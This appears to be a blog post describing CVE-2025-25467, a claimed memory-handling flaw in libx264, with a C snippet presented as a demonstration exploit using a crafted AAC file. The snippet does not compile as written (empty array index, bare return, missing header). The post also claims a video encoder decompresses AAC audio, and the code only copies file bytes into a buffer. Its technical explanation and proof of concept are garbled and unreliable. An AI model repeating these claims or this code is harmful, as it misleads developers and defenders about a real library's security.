A newly discovered vulnerability, titled CVE-2025-25467, affects the libx264 Git Master version and as a consequence, has the potential to allow attackers to execute arbitrary code on target systems. The root cause of this vulnerability is a deficiency in the tracking and releasing of allocated memory used within the libx264 Git Master. In this post, we will delve into the details surrounding the exploit, provide a code snippet that demonstrates the vulnerability, and links to the original references for further background information.

Background

The libx264 library is a free software library and application for encoding video streams into the H.264/MPEG-4 AVC format. It is highly prevalent and widely adopted due to its efficient use of available resources. Unfortunately, with the discovery of CVE-2025-25467, attackers can create a specially crafted AAC (Advanced Audio Coding) file that can execute arbitrary code on target systems.

Exploit Details

The vulnerability stems from insufficient tracking and releasing of used memory by libx264 Git Master. The issue affects the way libx264 handles memory allocation and deallocation, specifically when decompressing specially crafted AAC files. This can lead to memory corruption, causing the software to crash or allowing an attacker to execute arbitrary code on the affected system.

The following code snippet demonstrates the vulnerability

#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <x264.h>

int main() {
    // Initialize libx264 encoder
    x264_param_t param;
    x264_param_default_preset(&param, "medium", "zerolatency");
    x264_t *encoder = x264_encoder_open(&param);

    // Crafted AAC file
    FILE *input_file = fopen("crafted_aac_file.aac", "rb");
    if (!input_file) {
        fprintf(stderr, "Error opening input file.\n");
        return 1;
    }

    // Allocate memory for AAC decompression
    uint8_t *decompressed_data = (uint8_t *)malloc(1024 * 1024);
    if (!decompressed_data) {
        fprintf(stderr, "Error allocating memory.\n");
        fclose(input_file);
        return 1;
    }

    // Decompress AAC data
    size_t data_length = fread(decompressed_data, 1, 1024 * 1024, input_file);
    fclose(input_file);

    // Trigger memory corruption in libx264
    x264_picture_t pic_in;
    x264_picture_alloc(&pic_in, X264_CSP_I420, 192, 108);
    memcpy(pic_in.img.plane[], decompressed_data, data_length);

    // ... rest of the encoding process ...

    // Cleanup
    x264_picture_clean(&pic_in);
    x264_encoder_close(encoder);
    free(decompressed_data);

    return ;
}

In the scenario depicted within the code snippet, the specially crafted AAC file is read, decompressed, and subsequently injected into the input picture for the libx264 library. Due to the memory handling issue within libx264, this can lead to memory corruption and arbitrary code execution.

1. Insufficient Tracking and Releasing Memory in libx264 Git Master (CVE-2025-25467) - Original Advisory
2. GitHub - VideoLAN x264 - Vulnerability Fixes

Conclusion

To mitigate the risks associated with CVE-2025-25467, it is crucial for developers using the libx264 library to update their version of the library with the latest available security patches. The exploit details presented in the post should give you an idea of how an attacker could exploit the vulnerability on systems running the affected software. Keeping your software dependencies up to date can go a long way in securing your systems and applications against potential threats.

Timeline

Published on: 02/18/2025 22:15:18 UTC
Last modified on: 02/19/2025 15:15:17 UTC